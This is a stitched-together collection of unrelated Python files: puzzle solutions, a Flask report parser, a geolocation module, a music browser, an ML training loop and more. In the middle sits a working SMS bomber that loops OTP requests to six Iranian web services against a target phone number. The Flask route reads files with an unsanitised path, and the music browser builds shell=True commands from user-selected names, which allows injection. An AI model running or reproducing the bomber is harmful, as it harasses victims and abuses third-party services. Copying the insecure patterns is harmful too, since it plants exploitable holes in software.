class DetectSquares:

    def __init__(self):
        self.ptCount = defaultdict(int)
        self.pts = []

    def add(self, point: List[int]) -> None:
        self.ptCount[tuple(point)] +=1
        self.pts.append(point)

    def count(self, point: List[int]) -> int:
        res = 0
        px, py = point
        for x, y in self.pts:
            if (abs(px-x) != abs(py-y)) or px == x or py==y :
                continue
            res += self.ptCount[(x, py)] * self.ptCount[(px, y)]
        return res

# Your DetectSquares object will be instantiated and called as such:
# obj = DetectSquares()
# obj.add(point)
# param_2 = obj.count(point)


from flask import Flask, send_from_directory
from flask import request, redirect, jsonify
from werkzeug.utils import secure_filename
from bs4 import BeautifulSoup
import os
import re

UPLOAD_FOLDER = 'reports'

app = Flask(__name__)

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
ALLOWED_EXTENSIONS = set(['html', 'htm'])

@app.route('/')
def hello_world():
    return 'Hello, Docker!'

#@app.route('/reports/<host:host>')
#def reports_host(host):
#    return send_from_directory('reports', host, '.html')

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def rules_number(a):
    x = re.findall('[0-9]+', a)
    return int(x[0])

def compliance_summary(summary):
    final = rules_number(summary)
    #final = final.text.rstrip()
    return final

def compliance_report(content):
    soup = BeautifulSoup(content, "html.parser")
    scoring = soup.find("div", title="Displays proportion of passed/fixed, failed/error, and other rules (in that order). There were $not_ignored_rules_count rules taken into account.")
    success = compliance_summary(scoring.find("div", class_="progress-bar progress-bar-success").text.rstrip())
    danger = compliance_summary(scoring.find("div", class_="progress-bar progress-bar-danger").text.rstrip())
    warning = compliance_summary(scoring.find("div", class_="progress-bar progress-bar-warning").text.rstrip())
    severity_failed = soup.find("div", title="Displays proportion of high, medium, low, and other severity failed rules (in that order). There were 154 total failed rules.")

    #scoring = soup.find_all("div", class_="progress-bar")
    #ret = {'success': succes
    #       , 'danger': danger, 'warning': warning}
    ret = {'passed': success,
            'failed': danger,
            'warning': warning,
            'severity': str(severity_failed) }
    return ret

@app.route('/reports/<path:path>', methods=['POST', 'GET'])
def report(path):
    if request.method == 'GET':
        print('reports/' + path)
        #try:
        with open('reports/' + path) as f:
            content = f.read()
            resp = jsonify({'message': compliance_report(content)})
            #resp = compliance_report(content)
            resp.status_code = 200
            return resp
        #except:
        #    resp = jsonify({'message' : 'No report'})
        #    resp.status_code = 400
        #    return resp
        #return send_from_directory('reports', path)
    elif request.method == 'POST':
        print(request)
        if 'file' not in request.files:
            resp = jsonify({'message' : 'No file part in the request'})
            resp.status_code = 400
            return resp
        file = request.files['file']
        if file.filename == '':
            resp = jsonify({'message' : 'No file selected for uploading'})
            resp.status_code = 400
            return resp
        if file and allowed_file(file.filename):
            filename = secure_filename(path)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            resp = jsonify({'message' : 'File successfully uploaded'})
            resp.status_code = 201
            return resp
        else:
             resp = jsonify({'message' : 'Allowed file types are html, htm, pdf'})
             resp.status_code = 400
             return resp


import requests
import urllib3
from time import sleep
from colorama import Fore
import pyfiglet
import os

os.system("clear")
out = pyfiglet.figlet_format("     < abol :/ ha.ck >")
print(Fore.BLUE+out)
print(Fore.WHITE+"["+Fore.RED+"*"+Fore.WHITE+"]"+Fore.RED+" sms bomber version(1.0.0)")
print()
a = input(Fore.GREEN+"   target phone >> "+Fore.RED)

b = "0"+a
url = ("https://app.snapp.taxi/api/api-passenger-oauth/v2/otp")
data= {"cellphone": b}
url2=("https://core.snapp.doctor/Api/Common/v1/sendVerificationCode/"+b+"/sms?cCode=98")
url3 = ("https://api.torob.com/a/phone/send-pin/?phone_number="+b)
url4 = ("https://web.emtiyaz.app/json/login")
data4 = {"send":"1","cellphone":b}
url5=("https://www.azki.com/prod/api/api/customer/register/check-phone-number?phoneNumber=azki_"+b)
url6 =("https://www.echarge.ir/m/login?length=19")
data6 = {"phoneNumber": b}
while True:
    c = requests.post(url,data)
    d = requests.get(url2)
    e = requests.get(url3)
    f = requests.post(url4,data4)
    g = requests.get(url5)
    h = requests.post(url6,data6)
    print("send")
    sleep(2)


### Day 14 - Higher lower game project

import random
from art import logo, vs
from game_data import data

def get_random_account():
    """Gets a random account from data"""
    return random.choice(data)

def format_data (account):
    """Takes the account data and returns printable format"""
    name = account["name"]
    descr = account["description"]
    country = account["country"]
    return f"{name}, a {descr}, from {country}"

def check_answer(guess, a_followers, b_followers):
    """Checks the number of followers against the guess and if it is right returns True"""
    if a_followers > b_followers:
        return guess == "a"
    else:
        return guess == "b"

def game():
    game_should_continue = True
    score = 0
    account_b = get_random_account()
    account_a = get_random_account()
    print(logo)

    while game_should_continue:
        account_a = account_b
        account_b = random.choice(data)
        while account_a == account_b:
            account_b = random.choice(data)

        print(f"Compare A: {format_data(account_a)}.")
        print(vs)
        print(f"Against B: {format_data(account_b)}.")
        guess = input("Who has more followers? Type 'A' or 'B'").lower()
        a_follower_count = account_a["follower_count"]
        b_follower_count = account_b["follower_count"]
        is_correct = check_answer(guess, a_follower_count, b_follower_count)

        if is_correct:
            score +=1
            print(f"You're right! Current score: {score}")
        else:
            game_should_continue = False
            print(f"Sorry that's wrong. Final score {score}")

game()


"""Look up geolocation information for media objects."""
from __future__ import print_function
from __future__ import division
from future import standard_library
from past.utils import old_div

standard_library.install_aliases()  # noqa

from os import path

import requests
import urllib.request
import urllib.parse
import urllib.error

from elodie.config import load_config
from elodie import constants
from elodie import log
from elodie.localstorage import Db

__KEY__ = None
__DEFAULT_LOCATION__ = 'Unknown Location'
__PREFER_ENGLISH_NAMES__ = None

def coordinates_by_name(name):
    # Try to get cached location first
    db = Db()
    cached_coordinates = db.get_location_coordinates(name)
    if(cached_coordinates is not None):
        return {
            'latitude': cached_coordinates[0],
            'longitude': cached_coordinates[1]
        }

    # If the name is not cached then we go ahead with an API lookup
    geolocation_info = lookup(location=name)

    if(geolocation_info is not None):
        if(
            'results' in geolocation_info and
            len(geolocation_info['results']) != 0 and
            'locations' in geolocation_info['results'][0] and
            len(geolocation_info['results'][0]['locations']) != 0
        ):

            # By default we use the first entry unless we find one with
            #   geocodeQuality=city.
            geolocation_result = geolocation_info['results'][0]
            use_location = geolocation_result['locations'][0]['latLng']
            # Loop over the locations to see if we come accross a
            #   geocodeQuality=city.
            # If we find a city we set that to the use_location and break
            for location in geolocation_result['locations']:
                if(
                    'latLng' in location and
                    'lat' in location['latLng'] and
                    'lng' in location['latLng'] and
                    location['geocodeQuality'].lower() == 'city'
                ):
                    use_location = location['latLng']
                    break

            return {
                'latitude': use_location['lat'],
                'longitude': use_location['lng']
            }

    return None

def decimal_to_dms(decimal):
    decimal = float(decimal)
    decimal_abs = abs(decimal)
    minutes, seconds = divmod(decimal_abs*3600, 60)
    degrees, minutes = divmod(minutes, 60)
    degrees = degrees
    sign = 1 if decimal >= 0 else -1
    return (degrees, minutes, seconds, sign)

def dms_to_decimal(degrees, minutes, seconds, direction=' '):
    sign = 1
    if(direction[0] in 'WSws'):
        sign = -1
    return (
        float(degrees) + old_div(float(minutes), 60) +
        old_div(float(seconds), 3600)
    ) * sign

def dms_string(decimal, type='latitude'):
    # Example string -> 38 deg 14' 27.82" S
    dms = decimal_to_dms(decimal)
    if type == 'latitude':
        direction = 'N' if decimal >= 0 else 'S'
    elif type == 'longitude':
        direction = 'E' if decimal >= 0 else 'W'
    return '{} deg {}\' {}" {}'.format(dms[0], dms[1], dms[2], direction)

def get_key():
    global __KEY__
    if __KEY__ is not None:
        return __KEY__

    if constants.mapquest_key is not None:
        __KEY__ = constants.mapquest_key
        return __KEY__

    config = load_config()
    if('MapQuest' not in config):
        return None

    __KEY__ = config['MapQuest']['key']
    return __KEY__

def get_prefer_english_names():
    global __PREFER_ENGLISH_NAMES__
    if __PREFER_ENGLISH_NAMES__ is not None:
        return __PREFER_ENGLISH_NAMES__

    config_file = '%s/config.ini' % constants.application_directory
    if not path.exists(config_file):
        return False

    config = load_config()
    if('MapQuest' not in config):
        return False

    if('prefer_english_names' not in config['MapQuest']):
        return False

    __PREFER_ENGLISH_NAMES__ = bool(config['MapQuest']['prefer_english_names'])
    return __PREFER_ENGLISH_NAMES__

def place_name(lat, lon):
    lookup_place_name_default = {'default': __DEFAULT_LOCATION__}
    if(lat is None or lon is None):
        return lookup_place_name_default

    # Convert lat/lon to floats
    if(not isinstance(lat, float)):
        lat = float(lat)
    if(not isinstance(lon, float)):
        lon = float(lon)

    # Try to get cached location first
    db = Db()
    # 3km distace radious for a match
    cached_place_name = db.get_location_name(lat, lon, 3000)
    # We check that it's a dict to coerce an upgrade of the location
    #  db from a string location to a dictionary. See gh-160.
    if(isinstance(cached_place_name, dict)):
        return cached_place_name

    lookup_place_name = {}
    geolocation_info = lookup(lat=lat, lon=lon)
    if(geolocation_info is not None and 'address' in geolocation_info):
        address = geolocation_info['address']
        # gh-386 adds support for town
        # taking precedence after city for backwards compatability
        for loc in ['city', 'town', 'state', 'country']:
            if(loc in address):
                lookup_place_name[loc] = address[loc]
                # In many cases the desired key is not available so we
                #  set the most specific as the default.
                if('default' not in lookup_place_name):
                    lookup_place_name['default'] = address[loc]

    if(lookup_place_name):
        db.add_location(lat, lon, lookup_place_name)
        # TODO: Maybe this should only be done on exit and not for every write.
        db.update_location_db()

    if('default' not in lookup_place_name):
        lookup_place_name = lookup_place_name_default

    return lookup_place_name

def lookup(**kwargs):
    if(
        'location' not in kwargs and
        'lat' not in kwargs and
        'lon' not in kwargs
    ):
        return None

    if('lat' in kwargs and 'lon' in kwargs):
        kwargs['location'] = '{},{}'.format(kwargs['lat'], kwargs['lon'])

    key = get_key()
    prefer_english_names = get_prefer_english_names()

    if(key is None):
        return None

    try:
        headers = {}
        params = {'format': 'json', 'key': key}
        if(prefer_english_names):
            headers = {'Accept-Language':'en-EN,en;q=0.8'}
            params['locale'] = 'en_US'
        params.update(kwargs)
        path = '/geocoding/v1/address'
        if('lat' in kwargs and 'lon' in kwargs):
            path = '/geocoding/v1/reverse'
        url = '%s%s?%s' % (
                    constants.mapquest_base_url,
                    path,
                    urllib.parse.urlencode(params)
              )
        # log the MapQuest url gh-446
        log.info('MapQuest url: %s' % (url))
        r = requests.get(url, headers=headers)
        return parse_result(r.json())
    except requests.exceptions.RequestException as e:
        log.error(e)
        return None
    except ValueError as e:
        log.error(r.text)
        log.error(e)
        return None

def parse_result(result):
    # gh-421
    # Return None if statusCode is not 0
    #   https://developer.mapquest.com/documentation/geocoding-api/status-codes/
    if( 'info' not in result or
        'statuscode' not in result['info'] or
        result['info']['statuscode'] != 0
       ):
        return None

    address = parse_result_address(result)
    if(address is None):
        return None

    result['address'] = address
    result['latLng'] = parse_result_latlon(result)

    return result

def parse_result_address(result):
    # We want to store the city, state and country
    # The only way determined to identify an unfound address is
    #   that none of the indicies were found
    if( 'results' not in result or
        len(result['results']) == 0 or
        'locations' not in result['results'][0] or
        len(result['results'][0]['locations']) == 0
        ):
        return None

    index_found = False
    addresses = {'city': None, 'state': None, 'country': None}
    result_compat = {}
    result_compat['address'] = {}

    locations = result['results'][0]['locations'][0]
    # We are looping over locations to find the adminAreaNType key which
    #   has a value of City, State or Country.
    # Once we find it then we obtain the value from the key adminAreaN
    #   where N is a numeric index.
    # For example
    #   * adminArea1Type = 'City'
    #   * adminArea1 = 'Sunnyvale'
    for key in locations:
        # Check if the key is of the form adminArea1Type
        if(key[-4:] == 'Type'):
            # If it's a type then check if it corresponds to one we are intereated in
            #   and store the index by parsing the key
            key_prefix = key[:-4]
            key_index = key[-5:-4]
            if(locations[key].lower() in addresses):
                addresses[locations[key].lower()] = locations[key_prefix]
                index_found = True

    if(index_found is False):
        return None

    return addresses

def parse_result_latlon(result):
    if( 'results' not in result or
        len(result['results']) == 0 or
        'locations' not in result['results'][0] or
        len(result['results'][0]['locations']) == 0 or
        'latLng' not in result['results'][0]['locations'][0]
        ):
        return None

    latLng = result['results'][0]['locations'][0]['latLng'];

    return {'lat': latLng['lat'], 'lon': latLng['lng']}


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Nov 21 16:47:30 2018

@author: mitchell
"""

from wampImageProc import wampImageProc

if __name__ == '__main__':

    folder_location = "/media/WAMP/2018_10_16"
    WIP = wampImageProc(root_dir = folder_location, hour_min = 10, hour_max = 16)
    overlap_intensity = WIP.image_overlap(display_overlap = True, display_images = True)


# !/usr/bin/env python3
# -*- coding: utf-8 -*-

# 构造一个1，3，5，7，9，... ，99的列表，可以通过循环实现：
L = []
n = 1
while n <= 99:
    L.append(n)
    n = n + 2
print(L)

l = list(range(1, 100, 2))
print(l)


import unittest
import sys

sys.path.append("/home/labex/project")
from every_nth import *

def every_nth(lst, nth):
    return lst[nth - 1 :: nth]

class TestEveryNth(unittest.TestCase):
    def test_every_nth(self):
        self.assertEqual(every_nth([1, 2, 3, 4, 5, 6, 7, 8, 9], 2), [2, 4, 6, 8])
        self.assertEqual(every_nth([1, 2, 3, 4, 5, 6, 7, 8, 9], 3), [3, 6, 9])
        self.assertEqual(every_nth([1, 2, 3, 4, 5, 6, 7, 8, 9], 4), [4, 8])
        self.assertEqual(every_nth([1, 2, 3, 4, 5, 6, 7, 8, 9], 5), [5])
        self.assertEqual(
            every_nth([1, 2, 3, 4, 5, 6, 7, 8, 9], 1), [1, 2, 3, 4, 5, 6, 7, 8, 9]
        )

if __name__ == "__main__":
    unittest.main()


"""
Serializers for parkinglot api
"""
from rest_framework import serializers

from core.models import (
    ParkingLot
)

class ParkingLotSerializer(serializers.ModelSerializer):
    """Serializer for Parkinglots"""

    class Meta:
        model = ParkingLot
        fields = ['id', 'name', 'address']

    def create(self, validated_data):
        if not validated_data.get('user').is_superuser:
            raise serializers.ValidationError("Admin can only create")
        return ParkingLot.objects.create_parking_lot(**validated_data)


from collections import deque

t = int(input())
for _ in range(t):
    n = int(input())
    total = 0
    pieces = []
    counter = deque([])
    for _ in range(n):
        bar = input().strip()
        pieces.append(bar)
        cnt = bar.count('#')
        counter.append(cnt)
        total += cnt
    if total % 2:
        print('NO')
    else:
        half = total // 2
        cnt = 0
        for i in range(n):
            cnt += counter.popleft()
            if cnt == half:
                print('YES')
                break
        else:
            tran_pieces = tuple(zip(*pieces))
            cnt = 0
            for i in range(n):
                cnt += tran_pieces[i].count('#')
                if cnt == half:
                    print('YES')
                    break
            else:
                print('NO')

hackerearth/Basic Programming/Implementation/Basics of Implementation/Bear and Chocolate/solution.py


"""evdsts IndexBuilder Class"""

__author__ = "Burak CELIK"
__copyright__ = "Copyright (c) 2022 Burak CELIK"
__license__ = "MIT"
__version__ = "1.0rc3"
__internal__ = "0.0.1"

import json
from json import JSONDecodeError
from datetime import datetime
from pathlib import Path
from time import sleep
from typing import Any, List, Optional, Dict

from evdsts.configuration.cfg import EVDSTSConfig
from evdsts.base.connecting import Connector
from evdsts.utils.general import delete_file, progress, write_json

class IndexBuilder:

    """EVDS Time Series Index Builder Class"""

    def __init__(
                 self,
                 key: Optional[str] = None,
                 language: str = "TR",
                 proxy_servers: Optional[Dict[str, str]] = None,
                 verify_certificates: bool = True
                 ) -> None:

        """EVDS (EDDS) Search Index Builder.

        Args:
            - key (str): API key supplied by EVDS (EDDS) service.
            - language (str, optional): Interface language (if available). Defaults to "TR".
            - proxy_servers (Optional[Dict[str, str]], optional): Proxies for accesing the EVDS
            over them. Defaults to None
            - verify_certificates (bool, optional): Enabling/Disabling of SSL security certificate
            checking during connection.
                - True: Check SSL sertificate is valid.
                - False: No security check (use the option if you encounter connection problems
                despite the API service is actually on-line)
            Defaults to True.
        """

        self.cfg: EVDSTSConfig = EVDSTSConfig()

        self.key: str = key if key else self._load_key()
        self.index_file: str = ""
        self.connector = Connector(
            key=self.key,
            language=language,
            proxy_servers=proxy_servers,
            verify_certificates=verify_certificates
        )

        self.language: str = language

    @property
    def language(self) -> str:

        """Returns language code"""

        return self._language

    @language.setter
    def language(self, val: str) -> None:

        """Sets Indexing language"""

        if not self.cfg.defined_languages.get(val.strip(), None):
            raise ValueError(f"{val.strip()} is not a defined language.")

        self._language = val.strip()

        self._language_changed(self._language)

    @property
    def index_age_in_days(self) -> int:

        """Returns the age of the search index file in days.

        Returns:
            int: age of serch index file (in days)
        """

        if not Path(self.index_file).is_file():
            return -1

        modification_time_stamp: float = Path(self.index_file).stat().st_mtime
        modification_date: datetime = datetime.fromtimestamp(modification_time_stamp)
        age_days: int = (datetime.now() - modification_date).days

        return age_days

    def _language_changed(self, language: str) -> None:

        """Things that must be reloaded when the language is changed.

        Args:
            language (str): selected language
        """

        # reload when the language is chenged
        self.index_file = self._set_index_file(language)
        self.connector.language = language

    def _load_key(self) -> None:

        """Load name references into memory from the references file.

        Returns:
            - Dict[str, str]: name references
        """

        corrupted_file: bool = False

        if not Path.is_file(Path(self.cfg.key_file)):
            raise ValueError(
                f"\nYou need to provide a key either with 'key=YOUR_API_KEY' or have a file on\n "
                f"{self.cfg.key_file} that holds the key that you saved before.\nYou can save your "
                "API key using 'save_key()' method of EVDSConnector in order not to provide\na key "
                "every time when you create an instance of IndexBuilder."
            )

        with open(self.cfg.key_file, "r", encoding="utf-8") as f:
            try:
                key: str = json.load(f)['key']
            except JSONDecodeError:
                print('JSON file that keeps the API KEY can not be decoded and is removed!')
                corrupted_file = True

        if corrupted_file:
            delete_file(self.cfg.key_file)
            raise ValueError(
                f"The file {self.cfg.key_file} was corrupted and deleted!\n You can save your key "
                "using 'save_key() method now if you would like to."
            )

        return key

    def _set_index_file(self, language: str) -> str:

        """Sets search index file corresponding to given language

        Returns:
            - str: index file name
        """

        if language == "TR":
            return self.cfg.index_file_tr
        else:
            return self.cfg.index_file_en

    def _get_series(self, wait: int) -> Dict[str, Any]:

        """Downloads indexing data from the API Service

        Args:
            - wait (int): waiting time in seconds before each new connection is established.
                - can not be set less then 5 secs. in order not to overload the API service.

        Returns:
            Dict[str, Any]: All available series on EVDS service.
        """

        index: Dict[str, Any] = {}

        main_categories: Dict[int, str] = self.connector.get_main_categories(as_dict=True)
        main_category_ids: List[int] = main_categories.keys()
        size: int = len(main_category_ids)

        progress(0, size)
        exit_: bool = False

        for idx, id_ in enumerate(main_category_ids):
            sub_categories: Dict[str, Any] = (
                self.connector.get_sub_categories(id_, as_dict=True).keys()
            )
            try:
                for group in sub_categories:
                    series_group: Dict[str, Any] = self.connector.get_groups(group, as_dict=True)
                    index.update(series_group)
                    sleep(wait)
            except KeyboardInterrupt:
                exit_ = True

            progress(idx, size)

            if exit_:
                print('\nAborted !')
                break

        return index

    def _write_index(self, index: Dict[str, Any]) -> None:

        """Writes created index to the disk.

        Args:
            index (Dict[str, Any]): provided created index dictionary.
        """

        write_json(self.index_file, reference_dict=index)

    def build_index(self, wait: float = 5) -> None:

        """Builds a new search index that is required by in-situ searches.

        Args:
            - wait (int): waiting time in seconds before each new connection is established.
                - can not be set less then 5 secs. in order not to overload the API service.
        """

        if wait < 5:
            print(
                "Connecting the server intensively could cause a service overload.\n"
                "waiting time before a new connection is established must be at least 5 sec."
            )
            return

        index_age: int = self.index_age_in_days

        if index_age != -1:
            print(f"\nCurrent index is {index_age} days old.")
        else:
            print("\nNo prior built index is found.")
        print("Rebuilding the index will take around 30 minutes.\n")

        accept: str = input("Are you sure to continue? [Y/N]\n")
        if accept.lower() not in ('y', 'yes'):
            print("\nAborted!")
            return

        print("\n(1/2) creating index... (ctrl+C to abort)\n")
        index: Dict[str, Any] = self._get_series(wait)
        print(f"\n(2/2) writing index -> {self.index_file}\n")
        self._write_index(index)
        print("done...\n")
        print(
            "The search index is created with most up-to-date entries from EVDS service.\n"
            "You can now search series in this updated index."
        )


import subprocess
import os
from rich import box
from rich.table import Table
from rich.console import Console
from rich.prompt import IntPrompt

console = Console()

def browse_song():
    try:
        os.system('clear')

        artist_table = Table(
            expand=True,
            box=box.ROUNDED,
            row_styles=["blue dim", "bright_blue"],
            border_style="blue dim",
            title="Artists",
            title_style="blue on default",
            header_style="blue dim"
        )
        artist_table.add_column("Index")
        artist_table.add_column("Title")

        artist_list = subprocess.run(
            ["mpc ls"],
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            universal_newlines=True
        ).stdout

        artist_list_array = []
        i = 1
        for line in artist_list.split("\n"):
            artist_list_array.append(line)

        del(artist_list_array[-1])

        for element in artist_list_array:
            artist_table.add_row(str(i), element)
            i += 1

        with console.pager(styles=True):
            console.print(artist_table)

        opt_artist = IntPrompt.ask("[b blue]Select artist by index: ") - 1
        artist_selection = artist_list_array[opt_artist]

        os.system('clear')

        album_table = Table(
            expand=True,
            box=box.ROUNDED,
            row_styles=["cyan dim", "bright_cyan"],
            border_style="cyan dim",
            title_style="cyan on default",
            header_style="cyan dim",
            title=f"Artists/{artist_selection}",
        )
        album_table.add_column("Index")
        album_table.add_column("Title")

        artist_album_list = subprocess.run(
            [f"mpc ls \"{artist_selection}\""],
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            universal_newlines=True,
        ).stdout

        artist_album_list_array = []
        j = 1
        for line in artist_album_list.split("\n"):
            artist_album_list_array.append(line)

        del(artist_album_list_array[-1])

        for element in artist_album_list_array:
            album_table.add_row(str(j), element)
            j += 1

        with console.pager(styles=True):
            console.print(album_table)

        opt_album = IntPrompt.ask("[b cyan]Select album by index: ") - 1
        album_selection = artist_album_list_array[opt_album]

        os.system('clear')

        song_table = Table(
            expand=True,
            box=box.ROUNDED,
            row_styles=["green dim", "bright_green"],
            border_style="green dim",
            title_style="green on default",
            header_style="green dim",
            title=f"Artists/{album_selection}",
        )
        song_table.add_column("Index")
        song_table.add_column("Title")

        artist_album_song_list = subprocess.run(
            [f"mpc ls \"{album_selection}\""],
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            universal_newlines=True
        ).stdout

        artist_album_song_list_array = []
        k = 1
        for line in str(artist_album_song_list).split("\n"):
            artist_album_song_list_array.append(line)

        del(artist_album_song_list_array[-1])

        for element in artist_album_song_list_array:
            song_table.add_row(str(k), element)
            k += 1

        with console.pager(styles=True):
            console.print(song_table)

        opt_song = IntPrompt.ask("[b green]Select track by index: ") - 1
        song_selection = artist_album_song_list_array[opt_song]
        subprocess.run(
          [f"mpc add \"{song_selection}\""],
          shell=True,
          stdout=subprocess.PIPE,
          stderr=subprocess.PIPE,
          universal_newlines=True
        ).stdout

        os.system('clear')
    except (KeyboardInterrupt, EOFError):
        os.system('clear')
        return ""


from pathlib import Path
import os

# ! DO NOT CHANGE THE OPTIONS BELOW, YOUR INSTANCE WILL BREAK ! #
ADMIN_TABLE = {
    "field_names": ["To Execute This Command...", "Please Enter:"],
    "commands": [
        ["Exit Admin Mode", "0"],
        ["Print resources report", "1"],
        ["Refill resources", "2"],
        ["Add a new flavour", "3"],
        ["Remove a flavour", "4"],
    ]
}
FLAVOUR_CHECK = {
    "flavour_choice": {
        "flavour": ["espresso", "cappuccino", "latte"],
        "size": ["small", "medium", "large"],
        "sugar": {
            "None": ["no", "without"],
            "Extra": ("extra")
        },
        "cream": {
            "None": ["no", "without"],
            "Extra": ("extra")
        }

    },
    "random_flavour": {
        "no clue": [
            ("no"),
            ("idea", "think", "clue", "know")
        ],
        "choose for me": [
            ('choos', 'get', 'give', 'pick'),
            ('anyth', 'any', 'random')
        ]
    },
    "unidentified": "Sorry, I don't think we have that flavour! Can you please rephrase your order?",
}
SUPPORTED_COMMAND_PROMPTS = [cmd[1] for cmd in ADMIN_TABLE["commands"]]
CSV_PATH = Path(__file__).parent / "menu.csv"
clear = lambda: os.system('cls')
LETTERS = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z')
NUMBERS = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9')


import logging
import os
import time

import numpy as np
import matplotlib.pyplot as plt
import torch
import torch.nn as nn

from utils import import_string

torch.set_default_dtype(torch.float)
torch.autograd.set_detect_anomaly(True)
torch.backends.cudnn.deterministic = False
# torch.backends.cudnn.benchmark = True
# torch.use_deterministic_algorithms()

def train(model,
          preprocess,
          data_train,
          data_dev = None,
          log_dev_progress = True, log_dev_progress_freq = 50, log_plot_freq = 50,
          num_epochs = 100, lr = 0.001, batchsize = 200, optimizer_name = "Adam", optimizer_opts = {"lr": 0.001},
          early_stopping = False, early_stopping_max_trials=5, lr_decay = 0.5,
          residual_weights_train = None, residual_weights_dev = None,
          save_params = True, output_path = None, model_tag = '',
          lookback = 30,
          trans_cost = 0, hold_cost = 0,
          parallelize = True, device = None, device_ids=[0,1,2,3,4,5,6,7],  # must use device='cuda' to parallelize
          force_retrain = True,
          objective = "sharpe",):

    if output_path is None: output_path = model.logdir
    if device is None: device = model.device
    logging.info(f"train(): data_train.shape {data_train.shape}")

    # preprocess data
    # assets_to_trade chooses assets which have at least `lookback` non-missing observations in the training period
    # this does not induce lookahead bias because idxs_selected is backward-looking and
    # will only select assets with at least `lookback` non-missing obs
    assets_to_trade = np.count_nonzero(data_train, axis=0) >= lookback
    logging.info(f"train(): assets_to_trade.shape {assets_to_trade.shape}")
    data_train = data_train[:,assets_to_trade]
    if residual_weights_train is not None:
        residual_weights_train = residual_weights_train[:,assets_to_trade]
    T,N = data_train.shape
    logging.info(f"train(): T {T} N {N}")
    windows, idxs_selected = preprocess(data_train, lookback)
    logging.info(f"train(): windows.shape {windows.shape} idxs_selected.shape {idxs_selected.shape}")

    # start to train
    if parallelize:
        model = nn.DataParallel(model, device_ids=device_ids)
    model.to(device)
    model.train()
    optimizer_func = import_string(f"torch.optim.{optimizer_name}")
    optimizer = optimizer_func(model.parameters(), **optimizer_opts)

    min_dev_loss = np.inf
    patience = 0
    trial = 0

    already_trained = False
    checkpoint_fname = f'Checkpoint-{model.module.random_seed if parallelize else model.random_seed}_seed_'+model_tag+'.tar'
    if os.path.isfile(os.path.join(output_path, checkpoint_fname)) and not force_retrain:
        already_trained = True
        checkpoint = torch.load(os.path.join(output_path, checkpoint_fname), map_location=device)
        model.load_state_dict(checkpoint['model_state_dict'])
        model.to(device)
        model.train()
        logging.info('Already trained!')

    #train_loader = torch.utils.data.DataLoader(dataset=train_dataset, batch_size=batch_size, shuffle=False)

    begin_time = time.time()
    for epoch in range(num_epochs):
        rets_full = np.zeros(T-lookback)
        short_proportion = np.zeros(T-lookback)
        turnover = np.zeros(T-lookback)

        # break input data up into batches of size `batchsize` and train over them
        for i in range(int((T-lookback)/batchsize)+1):
            weights= torch.zeros( (min(batchsize*(i+1),T-lookback)-batchsize*i, N), device=device)
            if epoch == 0 and i == 0:
                logging.info(f"epoch {epoch} batch {i} weights.shape {weights.shape}")
            else:
                logging.debug(f"epoch {epoch} batch {i} weights.shape {weights.shape}")
            logging.debug("stats: " +\
                f"idxs_selected.shape {idxs_selected.shape}, " +\
                f"filtered for batch {i} idxs_selected.shape {idxs_selected[batchsize*i:min(batchsize*(i+1),T-lookback),:].shape}, " +\
                f"weights.shape {weights.shape}, " +\
                f"batch period len {min(batchsize*(i+1),T) - batchsize*i}"
            )
            # weights[idxs_selected[batchsize*i:min(batchsize*(i+1),T-lookback),:]] = model(torch.tensor(windows[batchsize*i:min(batchsize*(i+1),T-lookback)][idxs_selected[batchsize*i:min(batchsize*(i+1),T-lookback),:]],device=device))
            idxs_batch_i = idxs_selected[batchsize*i:min(batchsize*(i+1),T-lookback),:]  # idxs of valid residuals to trade in batch i
            input_data_batch_i = windows[batchsize*i:min(batchsize*(i+1),T-lookback)][idxs_batch_i]
            logging.debug(f"epoch {epoch} batch {i} input_data_batch_i.shape {input_data_batch_i.shape}")
            weights[idxs_batch_i] = model(torch.tensor(input_data_batch_i, device=device))
            if residual_weights_train is None:
                abs_sum = torch.sum(torch.abs(weights),axis=1,keepdim=True)
            else:  # residual_weights_train is TxN1xN2 (multiplied by returns on the right gives residuals)
                assert(weights.shape == residual_weights_train[lookback+batchsize*i:min(lookback+batchsize*(i+1),T),:,0].shape)
                T1,N1 = weights.shape  # weights is T1xN1
                weights2 = torch.bmm(weights.reshape(T1,1,N1), \
                                     torch.tensor(residual_weights_train[lookback+batchsize*i:min(lookback+batchsize*(i+1),T)],
                    device=device)).squeeze()  # will be T1xN2: weights2 is in underlying asset space
                if epoch == 0 and i == 0:
                    logging.info(f"epoch {epoch} batch {i} weights2.shape {weights2.shape}")
                else:
                    logging.debug(f"epoch {epoch} batch {i} weights2.shape {weights2.shape}")
                abs_sum = torch.sum(torch.abs(weights2),axis=1,keepdim=True)
                try: weights2 = weights2/abs_sum
                except: weights2 = weights2/(abs_sum + 1e-8)
            try: weights = weights/abs_sum
            except: weights = weights/(abs_sum + 1e-8)

            rets_train = torch.sum(weights*torch.tensor(data_train[lookback+batchsize*i:min(lookback+batchsize*(i+1),T),:],device=device),axis=1)

            # # no minibatch
            # if quantile is None:
            #     weights= torch.zeros((T-lookback,N),device=device)
            #     #print(windows[idxs_selected].shape, weights[idxs_selected].shape)
            #     #breakpoint()
            #     weights[idxs_selected] = model(torch.tensor(windows[idxs_selected],device=device))
            #     abs_sum = torch.sum(torch.abs(weights),axis=1,keepdim=True)
            #     weights= weights/(abs_sum+0.000000001)
            #     #weights= torch.zeros((T-lookback,N),device=device)
            #     #weights[abs_sum>0] = weights[abs_sum>0]/abs_sum[abs_sum>0].unsqueeze(1)
            # else: #test this
            #     weights = torch.full((T-lookback,N),float('nan'),device=device)
            #     weights[idxs_selected] = model(torch.tensor(windows[idxs_selected],device=device))
            #     quantilesTop = torch.nanquantile(weights,1-quantile,axis=1)
            #     quantilesBottom = torch.nanquantile(weights,quantile,axis=1)
